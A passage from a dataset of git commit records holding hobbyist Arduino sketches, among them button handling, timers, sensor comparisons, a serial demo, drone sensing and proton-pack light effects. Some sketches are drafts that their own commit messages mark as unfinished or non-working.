singleClick(EButton &btn) {\n\tSerial.println(\"We have a click!\");\n}\n\nvoid doubleClick(EButton &btn) {\n\tSerial.println(\"We have a double click!\");\n}\n\nvoid setup() {\n\tSerial.begin(115200);\n\tbutton.attachSingleClick(singleClick);\n\tbutton.attachDoubleClick(doubleClick);\n\n\tSerial.println(\"\\nClick or double-click!\");\n}\n\nvoid loop() {\n\tbutton.tick();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BasicClicks\/BasicClicks.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8871887ca98e8704302ade97801cf7c5af277fa1","subject":"Added duty cycle counting example","message":"Added duty cycle counting example\n","repos":"MajenkoLibraries\/Timer","old_file":"examples\/DutyCounter\/DutyCounter.ino","new_file":"examples\/DutyCounter\/DutyCounter.ino","new_contents":"#include <Timer.h>\n\n\/\/ T4 will count the time between falling gates\nTimer4 period;\n\n\/\/ T5 will count how long the gate is high\nTimer5 counter;\n\n\/\/ This is where we will store the current incoming frequency.\nvolatile uint32_t currentCount = 0;\n\n\/\/ The time for the current square wave\nvolatile uint32_t currentPeriod = 0;\n\n\/\/ Increase this to measure lower frequencies. Valid values\n\/\/ are 1, 2, 4, 8, 16, 32, 64 and 256.\nconst uint16_t prescale = 8;\n\nvoid setup() {\n\n\t\/\/ First set the granularity of the counting. Higher prescales\n\t\/\/ allow for lower frequency measurements\n\tcounter.setPrescaler(prescale);\n\tcounter.setPeriod(0xFFFF);\n\n\tperiod.setPrescaler(prescale);\n\tperiod.setPeriod(0xFFFF);\n\n\t\/\/ Turn on accumulated gate mode.\n\tcounter.enableGate();\n\t\n\t\/\/ The timers should get their clock source from the peripheral bus clock\n\tcounter.setClockSource(TIMER_PB);\n\tperiod.setClockSource(TIMER_PB);\n\t\n\t\/\/ Ensure the counters are empty at the beginning.\n\tcounter.reset();\n\tperiod.reset();\n\t\/\/ In gated timer mode the interrupt will fire when the gate goes low\n\tcounter.attachInterrupt(isr);\n\n\t\/\/ And start the counters running.\n\tcounter.start();\n\tperiod.start();\n\t\n\tSerial.begin(115200);\n\n\t\/\/ Clear the screen with the ANSI code ESC[2J\n\tSerial.print(\"\\e[2J\");\n}\n\nvoid loop() {\n\n\t\/\/ If we have a valid frequency then display it\n\tif (currentCount > 0) {\n\n\t\tuint32_t frequency = (getPeripheralClock() \/ prescale) \/ currentPeriod;\n\t\tuint32_t dutyCycle = currentCount * 100 \/ currentPeriod;\n\n\t\t\/\/ The ESC[4;4H is the ANSI code to set the cursor position to Y=4 and X=4\n\t\t\/\/ (in that order) with 1,1 being the upper-left corner.\n\t\tSerial.print(\"\\e[4;4HFrequency: \");\n\n\t\t\/\/ The getPeripheralClock() function calculates the correct peripheral bus clock\n\t\t\/\/ from the configuration flags in the chip. We also need to double the count\n\t\t\/\/ to simulate the low period of a 50% duty cycle square wave.\n\t\tSerial.print(frequency);\n\t\t\n\t\tSerial.print(\"Hz at \");\n\t\tSerial.print(dutyCycle);\n\t\tSerial.println(\"% duty cycle \");\n\n\t\t\/\/ Be sure to reset the current count to 0 so we don't\n\t\t\/\/ keep displaying the last frequency when the counter doesn't\n\t\t\/\/ trigger because of no input\n\t\tcurrentCount = 0;\n\t} else {\n\t\t\/\/ There is no current count, so we'll just say it's idle.\n\t\tSerial.println(\"\\e[4;4HFrequency: IDLE \");\n\t}\n\tdelay(100);\n}\n\n\/\/ Be sure to set the ISR routine to be an interrupt\nvoid __attribute__((interrupt)) isr() {\n\n\t\/\/ We want to record the current count and reset\n\t\/\/ the counter to 0 ready for the next pulse. We\n\t\/\/ have a convenient method to do just that.\n\tcurrentCount = counter.getAndResetCount();\n\n\t\/\/ Store the current count since the last trailing\n\t\/\/ edge of the gate signal for the full wave period.\n\tcurrentPeriod = period.getAndResetCount();\n\n\t\/\/ And tell the chip we have handled the interrupt by\n\t\/\/ clearing the flag.\n\tclearIntFlag(_TIMER_5_IRQ);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DutyCounter\/DutyCounter.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"3e9aa7c20c11efad8dbc097356e4ac9fa7a350ce","subject":"drafting idea","message":"drafting idea","repos":"slesinger\/guitar-arduino,slesinger\/guitar-arduino,slesinger\/guitar-arduino","old_file":"guitar.ino","new_file":"guitar.ino","new_contents":"PINS_IN = [18, 23,24, 2,3,4, 17,27,22, 10,9] #vstup skrz prazce\r\nPINS_OUT= [7,8,25, 11] #vystup napeti do strun\r\n\r\nzmacknuto = -1 #posledni zmacknuty prazec\/struna. Adresuje se jako struna * 12 + prazec\r\nlasers = 0 #ktere lasery jsou prerusene\r\n\r\ndef init_pins():\r\n GPIO.setmode(GPIO.BCM)\r\n for p in PINS_IN:\r\n GPIO.setup(p, GPIO.IN, pull_up_down=GPIO.PUD_UP)\r\n for p in PINS_OUT:\r\n GPIO.setup(p, GPIO.OUT)\r\n time.sleep(0.1)\r\n\r\ndef init_synth():\r\n fs = fluidsynth.Synth(gain=1.0)\r\n fs.start(driver='alsa')\r\n sfid = fs.sfload(\"\/home\/pi\/guitar\/sf2\/acoustic.sf2\")\r\n fs.program_select(0, sfid, 0, 0)\r\n fs.program_select(1, sfid, 0, 0)\r\n fs.program_select(2, sfid, 0, 0)\r\n fs.program_select(3, sfid, 0, 0)\r\n fs.program_select(4, sfid, 0, 0)\r\n fs.program_select(5, sfid, 0, 0)\r\n fs.noteon(0, 60, 90)\r\n time.sleep(0.5)\r\n return fs\r\n\r\ndef play_string(struna):\r\n global zmacknuto\r\n idx = {1:2, 2:3, 4:4, 8:5, 16:6, 32:7}\r\n\r\n #zadna struna se nezahrala? nic nedelej\r\n if struna == 0:\r\n return\r\n\r\n #kdyz neni nic zmacknuto zahraj ton daneho laseru. Definovano jako posledni zaznam s indexem 48\r\n accord = AK[ 48 if zmacknuto == -1 else zmacknuto ]\r\n tone = accord[idx[struna]]\r\n if tone != 0:\r\n fs.noteon(idx[struna]-1, tone, 80)\r\n\r\n\r\n #bit 0 - 5 lasery\r\n #bit 6 je rezervovan pro prazec 11\r\n #bit 7 je rezervovan pro nejake tlacitko, napr. pro zarazit zvuk vsech strun\r\n def read_lasers():\r\n #global lasers\r\n data = ser.read(20)\r\n #neprisla-li data nic nedelej\r\n #if len(data) == 0:\r\n # return\r\n\r\n for d in data:\r\n l = ord(d) - 64\r\n if l > 63: continue #zahod pripadne spatne byty\r\n play_string(l)\r\n\r\n #nastav posledni stav laseru na priste\r\n #lasers = l\r\n\r\n\r\n def play_accord(zmacknuto):\r\n a = AK[zmacknuto]\r\n #print \"{} - {}\".format(zmacknuto, a[1])\r\n MS = 0.001\r\n fs.noteon(0, a[2], 90)\r\n time.sleep(MS)\r\n fs.noteon(1, a[3], 90)\r\n time.sleep(MS)\r\n fs.noteon(2, a[4], 90)\r\n time.sleep(MS)\r\n fs.noteon(3, a[5], 90)\r\n time.sleep(MS)\r\n fs.noteon(4, a[6], 90)\r\n time.sleep(MS)\r\n fs.noteon(5, a[7], 90)\r\n time.sleep(0.15)\r\n\r\n\r\n #main program\r\n\r\n init_pins()\r\n fs = init_synth()\r\n ser = serial.Serial('\/dev\/ttyUSB0', 57600, timeout=0, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, bytesize=serial.EIGHTBITS)\r\n\r\n play_accord(1)\r\n\r\n while True:\r\n #predpokladej, ze neni nic zmacknuto (jen pro tento cyklus)\r\n prazec = -1 #id prazce od 0 do 10 (12 prazec se musi cist pres arduino)\r\n struna = -1 #id struny 0=vybrnkavani, 1,2,3 jsou struny od spoda\r\n\r\n read_lasers()\r\n\r\n #nastav vsechny struny na zapnute\r\n GPIO.output(PINS_OUT[0], GPIO.LOW)\r\n GPIO.output(PINS_OUT[1], GPIO.LOW)\r\n GPIO.output(PINS_OUT[2], GPIO.LOW)\r\n GPIO.output(PINS_OUT[3], GPIO.LOW)\r\n\r\n #skenuj prazce dokud nenajdes zapnuty\r\n for p in range(len(PINS_IN)):\r\n if GPIO.input(PINS_IN[p]) == 0:\r\n prazec = p\r\n break\r\n\r\n if prazec == -1:\r\n #nic neni macknuto, zacneme od znova\r\n zmacknuto = -1\r\n continue\r\n\r\n read_lasers()\r\n\r\n #vypni vsechny struny\r\n GPIO.output(PINS_OUT[0], GPIO.HIGH)\r\n GPIO.output(PINS_OUT[1], GPIO.HIGH)\r\n GPIO.output(PINS_OUT[2], GPIO.HIGH)\r\n GPIO.output(PINS_OUT[3], GPIO.HIGH)\r\n\r\n #zjisti na ktere strune je prazec zmacknut\r\n for s in range(4):\r\n GPIO.output(PINS_OUT[s], GPIO.LOW)\r\n r = GPIO.input(PINS_IN[prazec])\r\n GPIO.output(PINS_OUT[s], GPIO.HIGH)\r\n if r == 0:\r\n struna = s\r\n break\r\n\r\n if struna == -1:\r\n #kdyby mezitim se struna pustila, zacneme od znova\r\n zmacknuto = -1\r\n continue\r\n\r\n #nastav zmacknuto\r\n zmacknuto = struna * 12 + prazec\r\n\r\n #hraj\r\n #play_accord(zmacknuto) #vcetne sleep(0.2), toto se zrusi az budou lasery\r\n\r\n\/\/--------------------------------\r\n\/**\r\n* fret 1-12 ~ pins 22-33\r\n* strings 1-6 ~ 36-41\r\n* emphasis laser ~ 42\r\n* stop tone button ~ 43\r\n**\/\r\n\r\n\r\nboolean fret_status[12][6];\r\nboolean laser_status[6];\r\nboolean emphasis;\r\nboolean stop_tone;\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(115200);\r\n\r\n \/\/zero fret_status\r\n for (int f = 1; f <= 12; f++) {\r\n for (int s = 1; s <= 6; s++) {\r\n fret_status[f-1][s-1] = 0;\r\n }\r\n }\r\n \/\/zero laser_status\r\n for (int l = 1; l <= 6; l++) {\r\n laser_status[l-1] = 0;\r\n }\r\n\r\n \/\/init input pins\r\n pinMode(pin, INPUT); \/\/ set pin to input\r\n digitalWrite(pin, HIGH); \/\/ turn on pullup resistors\r\n}\r\n\r\nvoid loop()\r\n{\r\n \/\/scan frets\r\n setAllStrings(true);\r\n for (int f = 0; f <= 11; f++) {\r\n if (is_fret_pressed(f)) pressed_frets.append(f));\r\n \/\/scan pressed frets for all strings in sequence\r\n }\r\n setAllStrings(false);\r\n\r\n \/\/for each string find out what fret is pressed from list of active frets\r\n for (int s = 0; s <= 5; s++) {\r\n setString(s, true);\r\n for (int i = 0; i < pressed_frets.length; i++) {\r\n int f = pressed_frets[i];\r\n if (is_fret_pressed(f) && fret_status[f][s]) send_guitar_event(FRET_CHANGE\r\n\r\n }\r\n setString(s, false);\r\n }\r\n pressed_frets.clear();\r\n\r\n\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'guitar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3359ed8517d9c6f8f14d9c5222fcb4b4c090477","subject":"Not really a working version","message":"Not really a working version\n","repos":"miaoski\/pm25-sensors-comparison,miaoski\/pm25-sensors-comparison","old_file":"compare-arduino\/compare-arduino.ino","new_file":"compare-arduino\/compare-arduino.ino","new_contents":"\/\/ Compare PM 2.5 detectors: A4 vs. G3\n\/\/ Compare temperature sensors: DHT-22 vs. SHT-31\n\/\/ Runs on the Arduino part of LinkIt Smart 7688 Duo\n\n\/\/ A4 pin 1 -> +5V\n\/\/ A4 pin 2 -> GND\n\/\/ A4 pin 5 -> 7688 Duo pin D0\n\/\/ G3 pin 5 -> 7688 Duo pin D11\n\/\/ SHT-31 SDA -> 7688 Duo pin D2\n\/\/ SHT-31 SCL -> 7688 Duo pin D3\n\/\/ DHT-22 DAT -> 7688 Duo pin D4\n\n#include <Wire.h>\n#include <SoftwareSerial.h>\n#include <Adafruit_SHT31.h>\n#include <DHT.h>\n#include <AM2321.h>\n\n#define DHTTYPE DHT22\n#define DHTPIN 4\n#define G3PIN 8\n#define A4PIN 10\n\nint pm10;\nint pm25;\nint pm100;\nbyte buf[32];\n\nAdafruit_SHT31 sht31 = Adafruit_SHT31();\nSoftwareSerial g3(G3PIN, G3PIN+1);\nSoftwareSerial a4(A4PIN, A4PIN+1);\nDHT dht(DHTPIN, DHTTYPE);\nAM2321 am2321;\n\nvoid setup() {\n Serial.begin(115200);\n Serial1.begin(57600);\n g3.begin(9600);\n a4.begin(9600);\n dht.begin();\n if (!sht31.begin(0x44)) {\n Serial.println(\"Couldn't find SHT31\");\n }\n delay(500);\n}\n\nvoid loop() {\n float t;\n float h;\n Serial.println(\"A4 vs. G3 \/ DHT22 vs. SHT31\");\n \/*\n if(readA4()) {\n Serial.print(\"A4 :: \");\n Serial.print(\"PM 1.0 = \");\n Serial.print(pm10);\n Serial.print(\" PM 2.5 = \");\n Serial.print(pm25);\n Serial.print(\" PM 10 = \");\n Serial.println(pm100);\n }\n if(readG3()) {\n Serial.print(\"G3 :: \");\n Serial.print(\"PM 1.0 = \");\n Serial.print(pm10);\n Serial.print(\" PM 2.5 = \");\n Serial.print(pm25);\n Serial.print(\" PM 10 = \");\n Serial.println(pm100);\n }\n *\/\n sht31.readTemperature();\n sht31.readHumidity();\n delay(100);\n if(!isnan(t) && !isnan(h)) {\n Serial.print(\"SHT31 :: temp=\");\n Serial.print(t);\n Serial.print(\" hum=\");\n Serial.println(h);\n } else {\n t = -1;\n h = -1;\n }\n dht.readTemperature();\n dht.readHumidity();\n if(!isnan(t) && !isnan(h)) {\n Serial.print(\"AM2302 :: temp=\");\n Serial.print(t);\n Serial.print(\" hum=\");\n Serial.println(h);\n } else {\n t = -1;\n h = -1;\n }\n delay(100);\n am2321.read();\n Serial.print(\"AM2320 :: temp=\");\n Serial.print(am2321.temperature \/ 10.0);\n Serial.print(\" hum=\");\n Serial.println(am2321.humidity \/ 10.0);\n delay(1000);\n}\n\nboolean readA4() {\n unsigned short x;\n byte data;\n unsigned short start = 0;\n pm10 = -1;\n pm25 = -1;\n pm100 = -1;\n memset(buf, 0, 32);\n for(x = 0; x < 32;) {\n if(a4.available()) {\n data = a4.read();\n if(start == 0 && data != 0x32) {\n continue;\n } else {\n start++;\n buf[x++] = data;\n continue; \n }\n if(start == 1 && data != 0x3D) {\n start = 0;\n continue;\n } else {\n start++;\n buf[x++] = data;\n continue;\n }\n buf[x++] = data;\n }\n }\n if(a4CheckSum(buf, 30)) {\n pm10 = ((unsigned int)buf[4] << 8) + (unsigned int)buf[5];\n pm25 = ((unsigned int)buf[6] << 8) + (unsigned int)buf[7];\n pm100 = ((unsigned int)buf[8] << 8) + (unsigned int)buf[9];\n return true;\n } else {\n return false;\n }\n}\n\nboolean a4CheckSum(byte *p, unsigned short offset) {\n unsigned short i;\n unsigned int calcsum = 0; \/\/ BM\n unsigned int exptsum;\n for(i = 0; i < offset; i++) {\n calcsum += (unsigned int)p[i];\n }\n exptsum = ((unsigned int)p[offset] << 8) + (unsigned int)p[offset+1];\n if(calcsum == exptsum) {\n return true;\n } else {\n return false;\n }\n}\n\n\nboolean readG3() {\n unsigned short x;\n byte data;\n boolean start = false;\n pm10 = -1;\n pm25 = -1;\n pm100 = -1;\n memset(buf, 0, 24);\n for(x = 0; x < 24;) {\n if(g3.available()) {\n data = g3.read();\n if(start == 0 && data != 0x42) {\n continue;\n } else {\n start++;\n buf[x++] = data;\n continue; \n }\n if(start == 1 && data != 0x2D) {\n start = 0;\n continue;\n } else {\n start++;\n buf[x++] = data;\n continue;\n }\n buf[x++] = data;\n }\n }\n if(a4CheckSum(buf, 22)) {\n pm10 = ((unsigned int)buf[4] << 8) + (unsigned int)buf[5];\n pm25 = ((unsigned int)buf[6] << 8) + (unsigned int)buf[7];\n pm100 = ((unsigned int)buf[8] << 8) + (unsigned int)buf[9];\n return true;\n } else {\n return false;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'compare-arduino\/compare-arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c7800a69ebd1a46ed5af7c7ae2c35cc7a9b40ad","subject":"Added demo arduino sketch","message":"Added demo arduino sketch","repos":"qrazhan\/browser-serialport,rflnogueira\/pinoccio-browser-serialport,Pinoccio\/browser-serialport,tomascharad\/browser-serialport,2fast2fourier\/browser-serialport,qrazhan\/browser-serialport,rflnogueira\/pinoccio-browser-serialport,garrows\/browser-serialport,tomascharad\/browser-serialport,2fast2fourier\/browser-serialport,garrows\/browser-serialport","old_file":"demo\/demo.ino","new_file":"demo\/demo.ino","new_contents":"\/*\n Serial Event example\n \n When new serial data arrives, this sketch adds it to a String.\n When a newline is received, the loop prints the string and \n clears it.\n \n Also prompts the user for input.\n \n This code modified from Tom Igoe's here:\n \n http:\/\/www.arduino.cc\/en\/Tutorial\/SerialEvent\n \n *\/\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n establishContact();\n}\n\nvoid loop() {\n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n Serial.print(\"Got line:\");\n Serial.println(inputString); \n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n establishContact();\n }\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n}\n\nvoid establishContact() {\n Serial.print(\"Waiting\");\n while (Serial.available() <= 0) {\n Serial.print(\".\"); \/\/ send a capital A\n delay(500);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demo\/demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aaa0728be97b7e12a06dc547fc1abcc59f265e03","subject":"First comit","message":"First comit","repos":"Zagan202\/DroneBuddies,Zagan202\/DroneBuddies","old_file":"AutoGold2.ino","new_file":"AutoGold2.ino","new_contents":"#include<Wire.h> \n#include<SPI.h> \n#include<SparkFunLSM9DS1.h>\n#include \"Ultrasonic.h\" \n\nLSM9DS1 imu;\nfloat AX, AY, AZ, MX, MY, MZ;\ndouble roll, pitch,heading, croll, cpitch, cheading;\nint quadColor;\n\ndouble Obstacle1;\n\nUltrasonic ultrasonic1(13,12); \/\/X sensor\nUltrasonic ultrasonic2(11,10); \/\/Y Sensor\nUltrasonic ultrasonic3(9,8); \/\/Z sensor\n\n#define LSM9DS1_M 0x1E\n#define LSM9DS1_AG 0x6B\n\/\/define PRINT_CALCULATED \n#define PRINT_RAW\n\/\/define PRINT_SPEED 250 \n#define DECLINATION -12 \n\nvoid setup() {\n\n\nSerial.begin(9600);\nimu.settings.device.commInterface = IMU_MODE_I2C;\nimu.settings.device.mAddress = LSM9DS1_M;\nimu.settings.device.agAddress = LSM9DS1_AG;\nif (!imu.begin())\n{\n Serial.println(\"Failed to communicate with LSM9DS1.\");\n Serial.println(\"Double-check wiring.\");\n Serial.println(\"Default settings in this sketch will \" \\\n \"work for an out of the box LSM9DS1 \" \\\n \"Breakout, but may need to be modified \" \\\n \"if the board jumpers are.\");\n while (1);\n}\n\/\/print gyro values\nimu.readGyro();\n \n\/\/print accel values\nimu.readAccel();\n\n\/\/print mag values\nimu.readMag();\n \n\n\n\/\/calculate attitude values\nAX = imu.ax;\nAY = imu.ay;\nAZ = imu.az;\nMX = imu.mx;\nMY = imu.my;\nMZ = imu.mz;\n\nroll = atan2(AY, AZ);\nroll *= 180.0 \/ PI;\npitch = atan2(-AX, sqrt(AY * AY + AZ * AZ));\npitch *= 180.0 \/ PI;\nheading = atan2(MY, MX);\nheading -= DECLINATION * PI \/ 180;\nheading *= 180.0 \/ PI;\n\nSerial.print(\"Pitch, Roll: \");\nSerial.print(pitch, 2);\nSerial.print(\", \");\nSerial.println(roll, 2);\nSerial.print(\"Heading: \"); Serial.println(heading, 2);\n\n}\nvoid loop() {\n\n\/\/print gyro values\nimu.readGyro();\n\/\/print accel values\nimu.readAccel();\n\/\/print mag values\nimu.readMag();\n\n \/\/calculate attitude values\nAX = imu.ax;\nAY = imu.ay;\nAZ = imu.az;\nMX = imu.mx;\nMY = imu.my;\nMZ = imu.mz;\n\ncroll = atan2(AY, AZ);\ncroll *= 180.0 \/ PI;\n \ncpitch = atan2(-AX, sqrt(AY * AY + AZ * AZ));\ncpitch *= 180.0 \/ PI;\n\ncheading = atan2(MY, MX);\n \ncheading -= DECLINATION * PI \/ 180;\ncheading *= 180.0 \/ PI;\n\/\/Recently commented below\n\/*\nSerial.print(\"cPitch, cRoll: \");\nSerial.print(cpitch, 2);\nSerial.print(\", \");\nSerial.println(croll, 2);\nSerial.print(\"cHeading: \"); Serial.println(cheading, 2);\n*\/\nfloat heading1;\nfloat heading2 ;\nheading1 = abs(heading);\nheading2 = abs(cheading);\n\nfloat delta_pitch = cpitch - pitch;\n\/\/Recently commented below\n\/\/Serial.print(\"delta_pitch: \");Serial.println(delta_pitch);\n\nfloat delta_roll = croll - roll;\n\/\/Recently commented below\n\/\/Serial.print(\"delta_roll: \");Serial.println(delta_roll);\n\nfloat delta_heading = cheading - heading ;\n\/\/Serial.print(\"delta_heading: \");Serial.println(delta_heading);\n\n\/\/float delta_heading = abs(heading2-heading1);\n\/\/Recently commented below\n\/\/Serial.print(\"delta_heading: \"); Serial.println(delta_heading);\n\n\nif(ultrasonic3.Ranging(CM)>= 45 && ultrasonic3.Ranging(CM)<= 46){\n Serial.println(\"Obstacle 1\");\n delay(100);\n }\nelse if(ultrasonic3.Ranging(CM)>= 91 && ultrasonic3.Ranging(CM)<= 92){\n Serial.println(\"Obstacle 2\");\n delay(100);\n }\nelse if(ultrasonic3.Ranging(CM)>= 137 && ultrasonic3.Ranging(CM)<= 138){\n Serial.println(\"Obstacle3\");\n delay(100);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AutoGold2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"84afee3021de46c3ca2297842b9d6eaba84d3cee","subject":"Create proton_pack_state_machine.ino","message":"Create proton_pack_state_machine.ino\n\nThis is an implementation of the Proton pack effects using a state machine and an Adafruit sound board.","repos":"martinux\/proton_pack_arduino","old_file":"proton_pack_state_machine.ino","new_file":"proton_pack_state_machine.ino","new_contents":"\/* Proton pack lights sounds v2.0 (2021-10-13)\n\nThis code drives two sets of two 74HC595N shift registers. One set controls the 'power cell' LEDs \nof the proton pack, the other set runs the 'bargraph' and two firing LEDs on the thrower\/wand. \nMy pack's cyclotron lights are controlled by a 4017 decade counter and 555 timer however one could \nuse the remaining available pins of the arduino to control the cyclotron.\nPlease note with this code that I'm not going for total screen accuracy, simply something that \nlooks pretty close. However, the patterns should be fairly easy to understand and modify if you \nwish to produce something very authentic to that seen on screen (or even in the video game).\nFeel free to use the code in your own project, the only thing I ask is that you share any \nmodifications, ideally also on gbfans.com forums.\n\nFor an excellent overview of using shift registers with arduino please see this video:\nhttps:\/\/www.youtube.com\/watch?v=Ys2fu4NINrA\n\n Martinux\n*\/\n\n\/\/ ===============================================================================================\n\/\/ ADAFRUIT AUDIO FX BOARD\n\/\/ ===============================================================================================\n\/\/ UG to Ground \n\/\/ TX to #5 \n\/\/ RX to #6 \n\/\/ RST to #4\n\/\/ ACT to #3\n#include <SoftwareSerial.h>\n#include \"Adafruit_Soundboard.h\"\n\n#define SFX_TX 5\n#define SFX_RX 6\n#define SFX_RST 4 \/\/ Reset\n#define ACT 3\nSoftwareSerial ss = SoftwareSerial(SFX_TX, SFX_RX);\nAdafruit_Soundboard sfx = Adafruit_Soundboard(&ss, NULL, SFX_RST);\n\n\/\/ audio track names on soundboard\nchar power_on_snd[] = \"T00 WAV\";\nchar firing_snd[] = \"T01 WAV\";\nchar stop_firing_snd[] = \"T02 WAV\";\nchar hum_long_snd[] = \"T03 WAV\";\nchar hum_snd[] = \"T03_SH~1WAV\";\nchar power_down_snd[] = \"T04 WAV\";\nchar clickTrack[] = \"T05 WAV\";\nchar charge_snd[] = \"T06 WAV\";\nchar overheat_snd[] = \"T07 WAV\";\nchar vent_snd[] = \"T08 WAV\";\nchar texTrack[] = \"T09 WAV\";\nchar choreTrack[] = \"T10 WAV\";\nchar toolsTrack[] = \"T11 WAV\";\nchar listenTrack[] = \"T12 WAV\";\nchar thatTrack[] = \"T13 WAV\";\nchar neutronizedTrack[] = \"T14 WAV\";\nchar boxTrack[] = \"T15 WAV\";\nchar slowTheme[] = \"T16 OGG\";\n\nint audio_playing; \/\/ to keep track if a sound is playing.\n\n\/\/ ===============================================================================================\n\/\/ STATE MACHINE PHASE TRACKING\n\/\/ ===============================================================================================\nint current_pack_state = 0;\nint previous_pack_state = 0;\nint first_power_up = 1;\n\n\/\/ ===============================================================================================\n\/\/ TIMEKEEPING\n\/\/ ===============================================================================================\nunsigned long currentMillis = 0;\nunsigned long previousMillis_on = 0;\nunsigned long previousMillis_fire = 0;\nunsigned long off_interval = 30;\nunsigned long pwrcl_interval = 70; \/\/ interval at which to cycle lights (milliseconds).\nunsigned long max_firing_interval = 60;\nunsigned long min_firing_interval = 40;\nunsigned long firing_interval = max_firing_interval; \/\/ interval at which to cycle firing lights (milliseconds).\nunsigned long overheat_interval = 200;\nint max_wand_overheat_cycles = overheat_interval \/ min_firing_interval;\nint wand_overheat_cycles;\n\n\/\/ ===============================================================================================\n\/\/ BUTTONS\n\/\/ ===============================================================================================\n#define DEBOUNCE 5 \/\/ button debouncing.\n\/\/ Pins 14, 15 and 16 are Analog 0, 1 and 2 respectively.\nint power_button = 14;\nint firing_button = 15;\nint aux_button = 16; \/\/ Currently held in reserve for use with Adafruit audio shield.\nint power_button_state;\nint firing_button_state;\nint aux_button_state;\n\n\/\/ ===============================================================================================\n\/\/ SHIFT REGISTERS\n\/\/ ===============================================================================================\nint clockPinPWR = 7; \/\/ Power cell\nint dataPinPWR = 8; \/\/ Power cell\nint latchPin = 9;\nint clockPinWand = 18; \/\/ (18 is analog pin 4 on arduino)\nint dataPinWand = 19; \/\/ (19 is analog pin 5 on arduino)\n\n\/\/ data array position trackers\nint power_cell_array_pos = 0;\nint wand_array_pos = 0;\nint wand_active_array_pos = 0;\nint overheat_array_pos = 0;\n\/\/ holders for information we're going to pass to shifting function\nbyte dataPwrCell;\nbyte dataWand;\nbyte dataWandON;\n\n\/\/ ===============================================================================================\n\/\/ Populate light pattern arrays into flash memory to save RAM\n\/\/ ===============================================================================================\n\/\/ power cell LEDs 0 through 7 then LEDs 8 through 15 (two shift registers)\nconst PROGMEM uint16_t PwrCell[] = {B10000000,B00000000,\n B11000000,B00000000,\n B11100000,B00000000,\n B11110000,B00000000,\n B11111000,B00000000,\n B11111100,B00000000,\n B11111110,B00000000,\n B11111111,B00000000,\n B11111111,B10000000,\n B11111111,B11000000,\n B11111111,B11100000,\n B11111111,B11110000,\n B11111111,B11111000,\n B11111111,B11111100,\n B11111111,B11111110\n };\n\n\/\/Proton Wand idle pattern - two shift registers\nconst PROGMEM uint16_t Wand[] = {B01000000,B00000000,\n B01100000,B00000000,\n B01110000,B00000000,\n B01111000,B00000000,\n B01111100,B00000000,\n B01111110,B00000000,\n B01111111,B10000000,\n B01111111,B11000000,\n B01111111,B11100000,\n B01111111,B11110000,\n B01111111,B11111000,\n B01111111,B11111100,\n B01111111,B11111110,\n B01111111,B11111100,\n B01111111,B11111000,\n B01111111,B11110000,\n B01111111,B11100000,\n B01111111,B11000000,\n B01111111,B10000000,\n B01111111,B00000000,\n B01111110,B00000000,\n B01111100,B00000000,\n B01111000,B00000000,\n B01110000,B00000000,\n B01100000,B00000000,\n B01000000,B00000000\n };\n\n\/\/ Proton Wand firing pattern - two shift registers\n\/\/ 10000000 and 00000001 used for Wand barrel strobe\nconst PROGMEM uint16_t WandON[] = {B11000000,B00000010,\n B00100000,B00000101,\n B10010000,B00001000,\n B00001000,B00010001,\n B10000100,B00100000,\n B00000010,B01000001,\n B10000001,B10000000,\n B10000001,B10000000,\n B10000001,B10000000,\n B00000010,B01000001,\n B10000100,B00100000,\n B00001000,B00010001,\n B10010000,B00001000,\n B00100000,B00000101,\n B11000000,B00000010\n };\n\n\/\/ Overheat patterns\nconst PROGMEM uint16_t OHWand1[] = {B00000000,\n B01000000,\n B01100000,\n B01110000,\n B01111000,\n B01111100,\n B01111110,\n B01111111,\n B01111111,\n B01111111,\n B01111111,\n B01111111,\n B01111111,\n B01111111\n };\nconst PROGMEM uint16_t OHWand2[] = {B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000,\n B10000000,\n B11000000,\n B11100000,\n B11110000,\n B11111000,\n B11111100\n }; \nconst PROGMEM uint16_t OHPwrCell[] = {B00000000,B00000000,\n B01111111,B11111110,\n B00000000,B00000000,\n B01111111,B11111110,\n B00000000,B00000000,\n B01111111,B11111110,\n B00000000,B00000000,\n B01111111,B11111110,\n B00000000,B00000000,\n B01111111,B11111110,\n B00000000,B00000000,\n B01111111,B11111110,\n B00000000,B00000000,\n B01111111,B11111110\n };\n\n\nint freeRam(void) {\n extern int __bss_end;\n extern int *__brkval;\n int free_memory;\n if((int)__brkval == 0) {\n free_memory = ((int)&free_memory) - ((int)&__bss_end); \n }\n else {\n free_memory = ((int)&free_memory) - ((int)__brkval); \n }\n return free_memory; \n}\n\n\nvoid setup() {\n \/\/ set up serial port\n \/\/Serial.begin(9600);\n Serial.begin(115200);\n while (!Serial); \/\/ wait for serial port to connect. Needed for native USB\n 